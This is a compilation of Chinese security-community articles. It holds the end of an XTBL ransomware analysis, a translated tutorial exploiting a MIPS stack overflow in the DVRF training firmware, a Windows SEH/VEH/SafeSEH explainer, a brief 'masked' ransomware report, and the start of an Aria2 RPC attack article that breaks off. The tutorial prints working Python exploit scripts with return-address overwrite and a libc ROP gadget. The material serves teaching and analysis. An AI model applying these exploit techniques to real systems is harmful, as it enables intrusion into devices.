该程序对字符串的解密方法十分讲究，程序中使用的所有字符串包括RSA公钥都由一串位于地址0x41F900的密文动态解密得到，解密算法有多种，都是基于异或解密的方式，并由一常数控制密文索引起始值。下图显示程序中使用的部分字符串的解密结果。
图9 部分字符串解密结果
相比较灵活的字符串解密方式，程序的自启动方式显得“墨守陈规“，通过设置相关注册表项以及复制文件到启动目录两种方式添加启动项。
图10 设置相关注册表项
图11 复制自身到启动目录
在进行加密之前，程序会删除卷影备份。
图12 删除卷影备份
值得一提的是，“XTBL”敲诈者使用管道来传递命令行，这和“Ceber”系列敲诈者使用方法相同，而通过“mode con
select=1251”命令行设置MS-DOS显示为西里尔语可能与作者来自俄罗斯有关。
完成以上准备工作之后，程序产生两组密钥块，其中一组用于本地文件加密，另一组用于网络共享资源文件加密。
图13 产生两组密钥
密钥块大小为184字节，前32字节存放RC4加密后的随机数密钥，该密钥用于之后加密文档。为了加强随机数的随机性，程序以系统时间作种生成随机数作为循环次数，每次异或地址0x4326F0的值与系统时间后求其SHA-1值，并将最终所得随机数经RC4加密得到密钥。
图14 产生RC4加密的随机数密钥
密钥块第33字节起存放系统序列号，用作服务器的唯一标识符。之后的128字节存放RSA加密后的随机数密钥，而RSA公钥的SHA-1值则存放在最末端的20字节中。
图15 密钥块生成过程
图16 密钥块分布图
密钥块产生之后，程序会将密钥块中部分内容以及其他系统信息以POST的方式发送至黑客的服务器上。每个字段的标识及参数值如下表所示。
表1 发送的数据
除了在加密文件之前发送数据，在加密完成后也会再次向黑客服务器发送数据，两者用函数最后一个参数作区别，当最后一个参数为0时表示即将进行加密，为1时表示加密完成，参数不同带来的结果是POST数据的目的地址不同。
图17 两次发送数据
之后程序开始进行加密，由两个线程完成加密工作，其中一个线程枚举网络资源并对获取的共享文件进行加密，另一个线程加密本地文件。
图18 枚举网络资源并加密
加密本地文件的线程中，通过枚举磁盘中的文件并判断文件后缀来确定需要加密的文件路径，完成文件路径的确认后，程序开启四个子线程进行加密。由于父线程负责传递文件路径给子线程以及开启子线程进行加密，如果只创建一个子线程进行加密，当子线程由于某些原因无法返回时，父线程将无法继续执行下去，这会导致父线程无法传递下一个文件路径并且无法再创建新的子线程。而开启四个子线程进行加密时，只需保证其中一个线程正常返回即可继续下一轮加密。
图19 开启四个线程进行加密
加密的第一步是判断文件大小。当文件大小大于0x180000字节时，直接对文件内容进行加密，并将文件重命名；当文件大小小于等于0x180000字节时，则创建新文件并加密旧文件内容后写入新文件，之后删除旧文件。
图20 根据文件大小选择加密方案
之后程序使用之前生成的随机数初始化AES密钥，加密文件内容。加密完成后需要在文件尾部写入信息，以供黑客解密文件时使用。
对于大小小于等于0x180000字节的文件，按照如下图所示的方法在文件尾部写入信息。
图21 文件大小小于0x180000字节时写入文件头的数据
对于文件大小大于0x180000字节的文件，按照如下图所示的方法在文件尾部写入数据。
图22 文件大小小于0x180000字节时写入文件头的数据
至此，加密完成。被加密的文件类型包括exe，dll，doc，docx，pdf，xls，xlsx，ppt，zip，rar，bz2，7z，dbf，1cd，jpg。
**0x4 总结**
“XTBL”敲诈者对服务器的危害巨大，而造成文档被加密的根源在于服务器遭到入侵，而造成服务器被入侵的可能为登陆密码弱口令，漏洞没及时修补等原因，这些都是服务器主的疏忽造成的。因此对于服务器主而言，提升安全意识特别重要，设置强度高的登陆密码以及及时修补漏洞非常有必要。 | 社区文章 |
# 【技术分享】以DVRF（路由器漏洞靶机）为例解读JEB固件漏洞利用（Part 1）
|
##### 译文声明
本文是翻译文章，文章来源：pnfsoftware.com
原文地址：<https://www.pnfsoftware.com/blog/firmware-exploitation-with-jeb-part-1/>
译文仅供参考，具体内容表达以及含义原文为准。
****
****
译者：[興趣使然的小胃](http://bobao.360.cn/member/contribute?uid=2819002922)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**
**
**一、前言**
在本系列文章中，我会向大家演示如何利用JEB的[
**MIPS反编译器[1]**](https://www.pnfsoftware.com/jeb2/mips)
来查找并利用嵌入式设备中的软件漏洞。为了完成这一任务，我们需要使用Praetorian提供的[
**DVRF**](https://p16.praetorian.com/blog/getting-started-with-damn-vulnerable-router-firmware-dvrf-v0.1) （Damn Vulnerable Router
Firmware，路由器漏洞靶机，由[ **b1ack0wl**](https://twitter.com/b1ack0wl) 开发）来作为练习目标。
DVRF是一个自制的固件，可以运行在Linksys
E1550路由器上，这个路由器包含许多内存崩溃漏洞。DVRF的任务是充当漏洞靶机角色，以便让新手学习MIPS架构上的漏洞利用技术。据我所知的是，目前网上还没有与这方面相关的总结文章。
如果读者想要自己挑战任务，我建议大家可以阅读DVRF教程资料，生成[ **完整版的MIPSEL Debian
QEMU镜像**](https://blahcat.github.io/2017/07/14/building-a-debian-stretch-qemu-image-for-mipsel/) ，这个镜像可以承担Linux上的漏洞开发工作流程，不会对工具做任何限制。
**二、信息搜集**
首先，我使用[ **binwalk**](https://github.com/devttys0/binwalk)
从固件中提取出二进制文件。然后，我们可以针对第一个挑战收集相关信息：
file stack_bof_01
stack_bof_01: ELF 32-bit LSB executable, MIPS, MIPS32 version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, not stripped
在JEB中加载这个文件，我们可以发现几个比较有趣的函数：
除了几个经典的比较有趣的libc函数外（如system、strcpy等），我还注意到名为“dat_shell”的一个函数。
从上图中我们可以看到，这个函数首先会恭喜我们解决了这个挑战任务，然后调用system函数来提供一个shell接口。现在我们知道我们的任务是将程序的执行流程重定向到dat_shell函数上。
接下来，我们可以看到程序调用了“strcpy”，这是缓冲区溢出的典型案例。因此，我们可以检查一下main函数中哪个位置调用了strcpy。
首先，程序会检查我们是否输入了命令行参数，然后再显示欢迎信息。其次，程序将用户输入复制到本地变量中，打印出我们输入的数据。最后，程序会告诉我们“再来一次（Try
Again）”，然后直接返回。幸运的是，strcpy不会检查输入数据的大小，这样会存在栈缓冲区溢出漏洞，正好与这个挑战的名字相呼应。
**三、构建利用程序**
与x86程序的处理过程类似，首先，我们可以在调试器中运行这个二进制程序，通过输入一个巨大的参数来验证溢出漏洞是否存在。
为了完成这一任务，我在自己的QEMU VM中启动了gdbserver，然后将JEB调试器接口附加到gdbserver上（大家可以参考[
**调试手册**](https://www.pnfsoftware.com/jeb2/manual/debugging/) 了解更多技术细节）。在MIPS
ISA中，调用函数的返回地址存储在一个特定的寄存器中，寄存器名为$ra，寄存器的值需要从栈中提取，这一点与x86上的情况类似。然后程序会跳转到已保存的那个返回地址。
在我们这个二进制程序中，可以确定的是，返回地址可以被用户所控制，具体验证方法是提供一个巨大的参数（一堆0x4F字节），然后在调用strcpy函数后，我们就能看到寄存器的状态。
现在，来检查一下我们刚刚重构的栈帧（stackframe），以计算适当的填充范围。你可以使用Ctrl+Alt+k来跳转到这个视图。我将buf变量的类型修改成char数组，数组大小为该变量起始地址与下一个变量起始地址之间的距离，也就是200个字节。
var04与var08变量分别对应的是已保存的返回地址以及已保存的主函数的帧指针。偏移地址位于204字节处，因为我们使用了200个字节来填充缓冲区，然后用额外的4个字节来覆盖保存的帧指针。我们可以尝试一下漏洞利用代码，如下所示：
#!/usr/bin/python
padding = "O"* 204
dat_shell_addr = "x50x09x40" # Partial overwrite with little-endian arch
payload = padding + dat_shell_addr
with open("input", "wb") as f:
f.write(payload)
**四、没那么简单**
令人惊讶的是，我们的利用代码会导致程序在0x400970地址处出现segfault错误，这个地址位于dat_shell函数内部。我们可以通过JEB原生视图来观察这个地址：
从上图中我们可以看到，程序在访问某个内存地址，这个内存地址由全局指针寄存器$gp的值加上0x801C偏移量计算得出。这里存在的问题是，函数在开头阶段通过$t9寄存器初始化了$gp的值（参考0x4000958那一行的代码）。
那么，$t9中的值从何而来？答案位于MIPS上常用的函数调用机制中（调用约定）：$t9寄存器首先会被设置为目标函数的地址，然后会使用诸如jalr
$t9之类的指令进行跳转（参考MIPS ISA[第50页](http://math-atlas.sourceforge.net/devel/assembly/mipsabi32.pdf)的相关资料）。然后全局指针$gp会使用$t9进行初始化，用于计算各种偏移地址，特别是即将被调用的其他函数的偏移地址，因此，我们一定要保证这个值的正确性。
换句话说，当函数执行时，如果$t9的值不等于dat_shell的地址，那么函数执行过程中就会出现无效内存访问错误。为了构建正确的利用代码，我们需要从栈中加载一个任意值到$t9中，然后再跳转到这个值，将其伪造成真实的函数调用过程。
为了完成这一任务，我们需要一个“gadget（指令序列）”，所谓的“gadget”指的就是实现了上述行为的一组指令，以支持我们的跳转操作。为了搜索这个gadget，首先我们需要使用“libs”调试器命令来检查哪些动态库被加载进来。
幸运的是，我们有三个库被加载到固定的内存地址上：libc.so.0、libgcc_s.so.0以及ld-uClibc.so.0。
**五、小插曲：为JEB设计ROP Gadget查找插件**
为了构建ROP（Return-Oriented-Programming，面向返回编程）漏洞利用代码，我们经常需要使用gadget来完成这个任务，因此，我决定开发一个gadget查找插件[[2]](https://www.pnfsoftware.com/blog/firmware-exploitation-with-jeb-part-1/#fn-675-2)。此外，我决定使用JEB中介码（Intermediate
Representation，IR），而不是使用原生指令来搜索gadget，这样我就可以在JEB支持的所有架构上搜索gadget。
当在JEB中加载上面提到的三个库时，这个插件可以显示出所有的gadget，最终结果如下图所示：
输出结果不包含重复的gadget，并以字母顺序进行排序，以便我们查找有价值的gadget。
那么，插件的具体工作原理是什么？通过JEB
API的使用，插件将原生代码转化为IR代码，这个IR代码正是我们反编译代码第一阶段所使用的代码。在这个阶段，原生指令没有经过任何优化，会以完整的面貌呈现出来。
为了找到gadget（以跳转结尾的一组指令），我们可以在程序计数器寄存器中搜索赋值操作，并向后迭代搜索，直到找到寄存器上另一个赋值操作为止。最后一步是过滤掉相对跳转指令（漏洞利用过程中无法控制这种指令），然后我们就能得到可以利用的一个ROP
gadget清单。
这个方法仅仅用到了IR代码，可以在所有架构上运行。比如，同样的代码对ARMv7二进制文件的执行结果如下图所示：
大家可以访问此链接下载完整版的[ **代码**](https://github.com/pnfsoftware/PleaseROP) 。
**六、回到主题**
回到我们的任务，通过在libc库上运行我们的插件，我在0x6b20处找到了可用的gadget，如下所示：
这个gadget将栈顶的值拷贝到$t9寄存器中，然后再跳转到$t9寄存器，完美的对象！
因此，我们的计划是先利用存在漏洞的strcpy来执行这个gadget，然后，程序会按照正常的调用流程来调用dat_shell地址。当我们在测试主机上禁用地址空间布局随机化（Address
Space Layout Randomization，ASLR）机制后，我们可以将之前发现的libc基地址用于漏洞利用代码。最终的漏洞利用代码如下所示：
#!/usr/bin/python
import struct
# LW $t9, 0($sp); JALR $t9;
gadget_offset = 0x6b20
libc_base = 0x77eea000
gadget_addr = struct.pack("<I", libc_base + gadget_offset)
payload = ""
payload += "A"*204 # padding
payload += gadget_addr
payload += "x50x09x40"
with open("input", "wb") as f:
f.write(payload)
代码执行结果如下图所示：
大功告成，一切非常顺利。
**七、致谢**
非常感谢[ **@b1ack0wl**](https://twitter.com/b1ack0wl) 在挑战上给予我的帮助，也感谢[
**@yrp604**](https://twitter.com/yrp604) 帮忙审查这篇文章。此外，[
**@joancalvet**](https://twitter.com/joancalvet) 也是本文的联合作者之一。
**八、备注**
[1] 这篇文章中，我们使用的是JEB 2.3.3版，该版本将于8月21日-25日期间公布。
[2] 我将于本周晚些时候将gadget查找插件公布在GitHub上。 | 社区文章 |
# Windows调试艺术——从0开始的异常处理（下）
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
windows调试艺术主要是记录我自己学习的windows知识，并希望尽可能将这些东西在某些实际方面体现出来。
要阅读本文章的小伙伴建议先看看《windows调试艺术》的前两篇文章来了解一下前置知识
[Windows调试艺术——从0开始的异常处理（上）](https://www.anquanke.com/post/id/175293)
[Windows调试艺术——利用LDR寻找dll基址](https://www.anquanke.com/post/id/173586)
上一篇我们详细的了解了windows对于硬件和软件异常的不同处理过程以及相似的分发机制，但windows的异常管理远没有那么简单，还包括了SEH、VEH、安全措施等的重要知识，这次就来进行一下补充。要特别说明一下，作为windows最核心的部分之一，异常的大部分内容微软并没有公布，在加之笔者水平有限，所以在一些地方的了解还有很多欠缺，希望有能力的朋友能提出和我共同将windows异常这部分的内容总结完善。
## SEH
SEH（structure exception
handle）即结构化异常处理，往大了说它是整个Windows异常处理体系的一种称呼，往小了说它是维护异常体系的一个具体结构。在之前的文中提到了FS寄存器的0偏移直接指向了TEB，TEB的第一个结构是TIB，而TIB的0也就是ExceptionList，也就是异常处理链表的头节点，其结构如下。
typedef struct _EXCEPTION_REGISTRATION_RECORD
{
struct _EXCEPTION_REGISTRATION_RECORD *Next;
PEXCEPTION_ROUTINE Handler;
}EXCEPTION_REGISTRATION_RECORD
Next指向了下一个SEH节点，而Handler实际上就是我们具体的来处理该异常的函数了，我们也把它叫做异常处理回调函数。如果大家还记得数据结构的知识的话很显然这就是个简单的链表，而该链表只允许在头节点来进行删除和增添操作，且FS的0一直指向头节点，这就说明，越新的函数越接近头节点，系统会维护链表最后的next指向0xFFFFFFFF，回调函数的模版如下：
__cdecl _except_handler( struct _EXCEPTION_RECORD *ExceptionRecord,
void * EstablisherFrame,
struct _CONTEXT *ContextRecord,
void * DispatcherContext);
### SEH安装
通过之前的讲解我们可以知道SEH是基于线程的一种处理机制，而它又依赖于栈进行存储和查找，所以也被称作是基于栈帧的异常处理机制。在windows操作系统下的基础栈布局如下所示
通过这样的布局我们也可以推断出来，SEH的装载甚至还在函数的序言之前，具体的装载代码如下：
push offset SEHandler
push fs:[0]
mov fs:[0],esp
先向栈中压入了Handler和当前的节点，他们就又构成了一个EXCEPTION_REGISTRATION_RECORD结构，而esp指向栈顶，正好就是新的EXCEPTION_REGISTRATION_RECORD，将它付给fs:[0]也就是让SEH的头节点变成了刚刚加入的新节点。
卸载过程其实就是恢复栈平衡，代码如下
mov esp,dword ptr fs:[0]
pop dword ptr fs:[0]
要注意，SEH异常的安装实际上从main函数之前就开始了，当我们在启动一个进程时，实际的启动位置也就是kernel!32BaseProcessStartThunk，而在这个函数内就已经开始有try、catch结构了，线程的启动函数kernel!32BaseThreadStart也是如此
VOID BaseThreadStart(PTHREAD_START_ROUTINE pfnStartAddr, PVOID pvParam) {
__try{
ExitThread((pfnStartAddr)(pvParam));
}
__except (UnhandledExceptionFilter(GetExceptionInformation())){
ExitProcess(GetExceptionCode());
}
}
实际上这里的try catch结构构成的异常回调函数就是常说的top
level，即顶层异常处理，它们也是SEH链的最后一部分，并且可以看到，它们的except还存在一个叫做UnhandledFilter函数，和字面上的意思相似，这是用来实现异常过滤的函数，这是非常重要的一个函数，我们后面会细讲。
### RltDispatchExeption
当我们的异常分发到了RtlDispatchException函数时，就会根据线程注册的SEH来处理该异常，之前的处理实际上都是简单的”打包”和”描述”的过程，到了这一步才开始真正的异常处理。为了个更好的理解这个过程，这里笔者给出了简化版的RltDispatchExeption伪代码，简单描绘一下该函数的执行过程，伪代码由笔者根据逆向和资料自行编写，有错误之处还望大家指出
if VEH异常处理例程 != Exception_continue_search
goto end_func
else
limit = 栈的limit
seh = 借助FS寄存器获取SEH的头节点
while(seh!=-1):
if SEH节点不在栈中 || SEH节点位置没有按ULONG对齐 || Handler在栈中
goto end_func
else
seh = 当前seh指向的下一个seh
seh = 借助FS寄存器获取SEH的头节点
while(seh!=-1):
if(检查safeseh)
goto end_func
else
return_value = 执行该seh的handler
switch(return_value):
case 处理成功:
flag=1
goto end_func
case 没法处理:
seh = 当前seh指向的下一个seh
case 处理时再次遭遇异常
设置标记，做内嵌异常处理
goto end_func
end_func:
调用VEH的continue handler
return
函数执行过程中实际上大部分的代码都是在对SEH机制进行检查，其主要包括了SEHOP和SafeSEH等，这里先暂且略过，在后面会放在一起讲。除去检查外，我们可以概括步骤如下：
* 调用VEH ExceptionHandler进行处理，成功则结束，否则进行SEH
* 遍历SEH节点，对每一个Handler进行RtlExceptionHandlerForException，根据返回值执行不同操作
* ExceptionContinueExecution，表示异常已经被处理过了，接下来就可以回到之前的异常现场（借助之前讲过的Context）再执行试试了。但是这里就有两个重要的问题了，我们的回调函数真的成功处理了这个异常吗？我们的context被修改了怎么办？第一个问题的很简单 —— 不知道，系统是很”傻”的，只要你返回了这个值它就认为你成功了，而如果你压根就没处理还返回就会造成下次再执行还是错的，还是触发异常处理，进而陷入无限处理这个异常的循环状态。 第二个问题更简单了，被修改就完蛋了，不但异常没处理好，还搞出来个任意地址返回
* ExceptionContinueSearch，表示这个节点的handler处理不了这个异常，此时就会借助Next指针去寻找下一个节点接着去处理
* ExceptionNestedException，这个是最让人无奈的，意思是处理异常时又引发了一个新的异常，如果是内核态遇到了这个问题就直接game over蓝屏了，如果是用户态的话就成了”嵌套”异常，也就是会在此处再次进行异常处理
* ExceptionCollidedUnwind，这个和上面的类似，不过上面是异常处理时遇到了麻烦，而这个是在恢复现场的时候遇到了不测，这个”恢复现场”的过程也叫做展开，下面会具体说明。这个结果非常罕见，因为恢复现场的工作时系统来完成的，处理得非常严谨。
* 调用VEH ContinueHandler进行处理
### 栈展开
在SEH的处理体系中，如果所有的异常回调函数都无法处理某个异常时，系统会让发生异常的线程中所有的回调函数一个执行的机会，主要是为了实现清理、释放资源，保存异常的信息等功能，这也就是栈展开的基本概念，下面我们具体来看一下它。
还记得上一篇文中提到的EXCEPTION_RECORD结构吗？它有个ExceptionFLags的标志位，我们之前没有仔细提，实际上它就会在这里发挥作用，0代表着可修复的异常，1表示不可修复的异常，2则表示展开操作，通常在用户态的异常不会涉及到1，一般是在异常嵌套或者是内核异常时会用到。当某个异常遍历完SEH链后依然没有能够执行的话，就会将该标志位置为2，并将ExceptionCode设置为ST0ATUS_UNWIND，来执行栈展开操作。
RtlUnwind函数通常用来实现该功能，其函数原型如下：
RtlUnwind(EXCEPTION_REGISTRATION VirtualTargetFrame,INT * TargetPC,EXCEPTION_RECORD ExceptionRecord,INT ReturnValue)
* VirtualTargetFrame指向的是SEH链的EXECEPTION_REGISTRATION结构，表示要在哪个节点停止并进行展开操作
* TargetPC是调用RtlUnwind后的返回地址，如果是0则直接跳转至下一条指令
* Exception_record，当前异常的EXCEPTION_RECORD结构
因为栈展开的详细过程较难理解且过于复杂，有兴趣的读者可以自行搜索相关资料学习
### UnhandledExceptionFilter函数
未处理异常过滤函数，简称为UEF函数，这可以说是异常处理的最后一道防线了，他也是异常处理和windows error
report交接的关键，首先来看看这个函数的大致流程
* 错误的预处理，主要是对三个方面的检查：
* 是否存在着嵌套异常？上面说过了嵌套异常是一种非常难处理的情况，如果处理的不好就很难再恢复原始的状态了，于是这种情况下UEF函数会直接调用NtTerminateProcess结束当前的进程
* 是否是违例访问？还记得我们上一次windbg分析格蠹汇编的练习题吗？出现了0xc0000005的错误码，这就是EXCEPTION_ACCESS_VIOLATION，也就是所谓的违例访问。这种情况下UEF函数会尝试去通过更改页属性的方式去修复错误，当然如果你访问的是绝对不该访问的页，那UEF就无法解决了。
* DebugPort有没有？DebugPort在异常分发的过程中起到了标志着调试器是否开启的任务，一旦UEF检测到了DebugPort那它就不会处理该异常，而是返回一个ExceptionContinueSearch，而它作为最后的异常处理也没有处理该异常的话自然也就进入了第二次的异常分发，成功使调试器接手该异常
* 进行最终处理的处理
* 根据程序的设置直接结束进程。windows提供了SetErrorMode的api用来设置某个标志位，一旦设置了，那那就不会出现任何的错误提示，程序直接结束。判断当前进程是否在job（以后会详细总结）中，如果在而且设置了未处理异常时直接结束，那就直接杀掉进程。
* 查看是否设置了JIT调试，如果是就开始进行调试。在上一章里我们实际设置并借助JIT进行了分析，实际上JIT的响应就是发生在UEF函数中的
* 弹出异常信息。此时程序会加载faultrep.all，调用ReportFault函数来汇报错误，如果设置了错误报告或者是非常严重的错误会弹出error窗口询问用户是否要发送错误报告，而其余情况下就会弹出我们熟知的application error
当然我们也可以设置自己的UEF函数，我们可以通过SetUnhandledExceptionFilter函数来设置，UEF会在上面说的两步之间执行我们自定义的代码，还可以根据具体的返回值在后面执行不同的操作，而这也就是之前提到的try
、catch构成的top level，顶层异常处理函数
图片来自《windows核心编程》
## VEH
VEH（Vectored Exception
Handling）也就是向量化异常处理，是windows在xp之后新加入的一种异常处理机制，我们在RltDispatchException已经看到过它在异常处理时的调用过程了，下面就看看它的具体实现流程。
首先VEH也需要注册回调函数，而且也同样是用链表的结构来维护的。注册函数的原型如下
WINBASEAPI PVOID WINAPI AddVectoredExceptionHandler(ULONG FirtstHandler,PVECTORED_EXCEPTION_HANDLER VectoreHandler)
第一个参数是一个标志位，它用来标示注册的回调函数是在链表的头还是尾，0是插入尾部，非0则是插入头部，第二个参数是回调函数的地址，它会返回一个VectoredHandlerHandle，用于之后卸载回调函数。
回调函数的原型如下
LONG CALLBACK Vectorhandler()
在RltDispatchException的过程中VEH将会优先于SEH调用，如果回调函数成功解决了问题和SEH相似，都会返回ExceptionContinueExecution表示异常处理完毕，然后借助CONTEXT的内容恢复上下文，跳过SEH继续执行程序，如果失败了就遍历VEH链表寻找解决方法，如果所有的回调函数都不能处理的话再将执行权归还，继续向下执行SEH的相关内容。
可能到这有人就有疑问了，这不就是SEH的翻版吗，为什么微软还要搞个这玩意？实际上这和SEH相比有很多的不同之处，它俩有着相似的”外表”，却有着不同的”内在”。
最明显的就是优先级的不同，这里的优先级有两个含义，一是VEH比起SEH更加优先调用，二是VEH可以自行设置回调函数的位置。一不必多说，VEH会调用得更早，二就很有意思了，我们已经知道了SEH会不管三七二十一把我们最后定义的异常回调函数放到链表头部，也就是说顺序被写死了，我们如果想让某个异常回调函数优先进行处理是不可能的，而VEH由于可以自定义插入的位置，我们就可以实现一定程度上的自定义处理顺序了。
其次可以看到VEH和SEH注册的原理是完全不同的，SEH最终落在了栈上，而实际上VEH保存在了ntdll中，这就又导致了SEH只能是针对某个线程进行异常处理（因为每个线程维护着自己的栈结构），而VEH则可以对整个进程进行处理。
最后VEH的收尾也要更加简单，SEH因为占用了栈空间，调用回调函数时会有栈展开的问题，处理非常复杂，而VEH和一般的函数无异了。
## 异常的保护机制
我们已经详细了解了整个异常的执行流程，我们不难发现，以ntdll作为基础的VEH并不容易被我们利用，但以栈作为基础的SEH本身具有很大的危险性，我们可以利用各种手段对栈上SEH节点进行覆盖重写，再次执行异常处理操作时就会将执行权给到了我们用来覆盖的函数上，这实际上在以前是很常见的windows栈溢出手段，当然，除了这种方法外还有许许多多的利用手段，可见这样的异常处理机制还是不够完善的。为了解决这些问题，微软逐步加入了Safe
SEH、SEHOP、VCH等来弥补。
### Safe SEH
SafeSEH又叫做软件DEP，是一种在软件层面实现的对SEH的保护机制，它需要操作系统和编译器的双重支持，在vs2013及以后的版本中会自动启用
/SafeSEH 链接选项来使用SafeSEH。也正是因为该项技术使得以往简单的覆盖异常处理句柄的漏洞利用几乎失效了
在加载PE文件时，SafeSEH将定位合法的SEH表的地址（如果该映像不支持SafeSEH的话则地址为0），然后是用共享内存中的一个随机数进行加密处理，程序中所有的异常处理函数的地址提取出来汇总放入SEH表，并将该表放入程序映像中，还会将将加密后的SEH函数表地址，IMAGE的开始地址，IMAGE的长度，合法SEH函数的个数，作为一条记录放入ntdll（ntdll模块是进行异常分发的模块）的加载模块数据内存中,每次调用异常处理函数时都会进行校验，只有二者一致才能够正常进行，该处理由RtlDispatchException()
开始，首先会经历两次检查，分别是：
* 检查异常处理链是否在当前的栈中，不是则终止
* 检查异常处理函数的指针是否指向栈，是则终止
通过两次检查后会调用RtlIsValidHandler() 来进行异常的有效性检查，08年的black hat给出了该函数的细节
BOOL RtlIsValidHandler( handler )
{
if (handler is in the loaded image) // 是否在loaded的空间内
{
if (image has set the IMAGE_DLLCHARACTERISTICS_NO_SEH flag) //是否设置了忽略异常
return FALSE;
if (image has a SafeSEH table) // 是否含有SEH表
if (handler found in the table) // 异常处理函数地址是否表中
return TRUE;
else
return FALSE;
if (image is a .NET assembly with the ILonl y flag set)
return FALSE;
}
if (handler is on non-executable page) // handler是否在不可执行页上
{
if (ExecuteDispatchEnable bit set in the process flags) //DEP是否开启
return TRUE;
else
raise ACCESS_VIOLATION;
}
if (handler is not in an image) // handler是否在未加载空间
{
if (ImageDispatchEnable bit set in the process flags) //设置的标志位是否允许
return TRUE;
else
return FALSE;
}
return TRUE; /s/ 允许执行异常处理函数
}
代码中的ExecuteDispatchEnable和ImageDispatchEnable位标志是内核KPROCESS结构的一部分，这两个位用来控制当异常处理函数在不可以执行内存或者不在异常模块的映像（IMAGE）内时，是否执行异常处理函数。这两个位的值可以在运行时修改，不过默认情况下如果进程的DEP被关闭，则这两个位置1，如果进程的DEP是开启状态，则这两个位被置0。
通过源码我们可以看出，RtlIsValidHandler() 函数只会在以下几种情况执行异常处理函数
* 在进程的DEP是开启的情况下
* 异常处理函数和进程映像的SafeSEH表匹配且没有NO_SEH标志。
* 异常处理函数在进程映像的可执行页，并且没有NO_SEH标志，没有SafeSEH表，没有.NET的ILonly标志。
* 在进程的DEP关闭的情况下
* 异常处理函数和进程映像的SafeSEH表匹配没有NO_SEH标志。
* 异常处理函数在进程映像的可执行页，并且没有NO_SEH标志，没有SafeSEH表，没有.NET的ILonly标志。
* 异常处理函数不在当前进程的映像里面，但是不在当前线程的堆栈上。
### SEHOP
全称为Structured Exception Handler Overwrite
Protection（结构化异常处理覆盖保护），这是专门用来检测SEH是否被劫持的一项技术，我们在上面的RltDispatchExeption实际上已经提到过一些SEHOP的检测过程了，这里我们来具体说一说
HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSession Managerkernel
你可以在该表项下找到DisableExceptionChainValidation的键，它标示着你的计算机是否开启了该功能。
我们再次回到RltDispatchExeption来看看它的具体操作，代码来自Vistasp1
// Skip the chain validation if the DisableExceptionChainValidation bit is set
if (process_flags & 0x40 == 0)
{
// Skip the validation if there are no SEH records on the linked list
if (record != 0xFFFFFFFF)
{
// Walk the SEH linked list
do
{
// 1、The record must be on the stack
if (record < stack_bottom || record > stack_top)
goto corruption;
// 2、The end of the record must be on the stack
if ((char*)record + sizeof(EXCEPTION_REGISTRATION) > stack_top)
goto corruption;
// 3、The record must be 4 byte aligned
if ((record & 3) != 0)
goto corruption;
handler = record->handler;
// 4、The handler must not be on the stack
if (handler >= stack_bottom && handler < stack_top)
goto corruption;
record = record->next;
} while (record != 0xFFFFFFFF);
// End of chain reached
// Is bit 9 set in the TEB->SameTebFlags field? This bit is set in
// ntdll!RtlInitializeExceptionChain, which registers
// FinalExceptionHandler as an SEH handler when a new thread starts.
if ((TEB->word_at_offset_0xFCA & 0x200) != 0) {
// 5、The final handler must be ntdll!FinalExceptionHandler
if (handler != &FinalExceptionHandler)
goto corruption;
}
} // end if (record != 0xFFFFFFFF)
}
大家可自行阅读代码，概括来说主要是对以下几点的检测：
* SEH节点必须在栈上
* SEH节点的Handle必须不在栈上
* 最后的SEH节点的Handle必须是ntdll!FinalExceptionHandler，也就是咱们上面说的异常的最后一站
* 最后的SEH节点的Next指针必须为0xffffffff
可以看到SEHOP的防御十分的严格，但并不代表它就一定安全了，我们还是可以通过各种手段进行绕过，关于如何绕过的内容在以后的《windows调试艺术》中还会有，这里就先不展开了。 | 社区文章 |
# 新型masked勒索病毒袭击工控行业
##### 译文声明
本文是翻译文章，文章原作者 安全分析与研究，文章来源：安全分析与研究
原文地址：<https://mp.weixin.qq.com/s/teM-A-keapn5CKpWr-4G7A>
译文仅供参考，具体内容表达以及含义原文为准。
10月9号总部设在荷兰海牙的欧洲刑警组织与国际刑警组织共同发布报告《2019互联网有组织犯罪威胁评估》，报告指出数据已成为网络犯罪分子的主机攻击目标，勒索软件仍是网络安全最大威胁，全球各界需要加强合作，联合打击网络犯罪
尽管全球勒索病毒的总量有所下降，但是有组织有目的针对企业的勒索病毒攻击确实越来越多，给全球造成了巨大的经济损失，勒索软件仍然是网络安全最大的威胁，成为作案范围最广、造成经济损失最严重的网络犯罪形式
朋友发来一个消息，问我中了哪个家族的勒索病毒，如下所示：
随后朋友发来了勒索的相关信息和病毒样本，此勒索病毒运行之后会修改桌面背景，如下所示：
在每个加密的文件目录下，会生成两个超文件HTML的勒索提示文件，如下所示：
超文本文件HTML的内容，如下所示：
使用TOR打开勒索病毒解密网站，如下所示：
上面显示了RUSH GANG 1.3，要解密文件，只能通过邮件联系黑客，黑客的邮件联系方式：
[[email protected]](mailto:[email protected])
该勒索病毒使用了反调试的方法，阻止安全分析人员对样本进行调试分析，如下所示：
设置自启动注册表项
HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun，如下所示：
遍历主机磁盘，如下所示：
生成勒索提示超文件HTML文件，如下所示：
将解密出来的勒索提示信息写入到HTML文件中，如下所示：
然后遍历磁盘文件进行加密，加密后的文件后缀为masked，如下所示：
此前已经有好几位工控安全的朋友前来咨询我，勒索病毒针对工控行业的攻击似乎也越来越多了，各位工控企业一定要做好勒索病毒的防范措施，以防被勒索病毒勒索加密，千万不能掉以轻心，黑客无时无刻不在寻找着新的攻击目标
本文转自：[安全分析与研究](https://mp.weixin.qq.com/s/teM-A-keapn5CKpWr-4G7A) | 社区文章 |
Author： **[ricterz](https://ricterz.me/posts/Hacking%20Aria2%20RPC%20Daemon)**
### ABSTRACT
在未设置任何安全措施的情况下，Aria2 RPC Server 可以接受任何未知来源的请求指令，并予以下载。即使存在诸如`--rpc-secret`、`--rpc-user`、`--rpc-passwd`之类的安全措施，也可以通过社会工程学手段进行攻击。通过 Aria2 RPC
Server，可以进行 SSRF、Arbitrary File Write 等 Web 攻击手法，获取服务器权限。
### 1\. INTERDUCTION
Aria2 是一个命令行下运行、多协议、多来源下载工具（HTTP/HTTPS、FTP、BitTorrent、Metalink），内建 XML-RPC
用户界面。[1] Aria 提供 RPC Server，通过`--enable-rpc`参数启动。Aria2 的 RPC Server
可以方便的添加、删除下载项目。
### 2\. ATTACK TECHNIQUES
#### 2.1 Arbitary File Write
